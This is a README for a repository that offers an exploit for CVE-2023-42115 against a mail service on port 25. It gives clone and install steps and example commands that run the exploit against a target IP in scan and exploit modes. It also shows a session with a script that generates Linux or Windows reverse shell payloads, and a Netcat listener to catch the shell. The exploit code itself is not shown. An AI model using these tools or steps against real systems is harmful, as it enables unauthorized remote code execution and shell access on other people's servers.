
This module exploits a vulnerability in the target service identified as CVE-2023-42115.
This repository contains two Python scripts:
exploit.py: A script for exploiting CVE-2023-42115.generate_payload.py: A script for generating reverse shell payloads.Before running the scripts, ensure you have Python 3 installed on your system.
git clone https://github.com/isotaka134/cve-2023-42115.git
cd cve-2023-42115
Install the required Python libraries using pip. Run the following command to install all necessary dependencies listed in requirements.txt:
pip install -r requirements.txt
exploit.py
This script exploits the CVE-2023-42115 vulnerability.
python exploit.py -t <target_ip> -p <target_port> [options]
Options:
-t: The IP address of the target.
-p: The port of the target service.
Example:
python exploit.py -t 192.168.1.10 -p 25 --mode SCAN
python exploit.py -t 192.168.1.10 -p 25 --mode EXPLOIT -f /path/to/payload.sh
generate_payload.py
This script generates a reverse shell payload based on user input.
python generate_payload.py
Steps:
The script will prompt you for the following information:
A. Payload type ( linux or windows)
B. Local IP: address for the reverse connection
C. Local Port: for the reverse connection ** I: If you are behind a router or using NAT, make sure to set up the correct port forwarding to your device running Netcat.**
D. Output file name (e.g., payload.sh for Linux or payload.ps1 for Windows)
Example:
python generate_payload.py
Payload Generator
Enter payload type (linux/windows): Linux
Enter local IP address: 127.0.0.1
Enter local port: 4444
Enter output file name (e.g., payload.sh or payload.ps1): Payload.sh
Payload saved to Payload.sh
You need to set up a listener on your local machine to catch the reverse shell. You can use Netcat (nc) for this.
nc -lvnp <YOUR_LOCAL_PORT>
nc -lvnp <YOUR_LOCAL_PORT>
By following these steps, you should be able to create and use a payload to exploit CVE-2023-42115 and receive a reverse shell connection.
If you have suggestions for improvements or want to contribute, please open an issue or submit a pull request.
For questions or support, please contact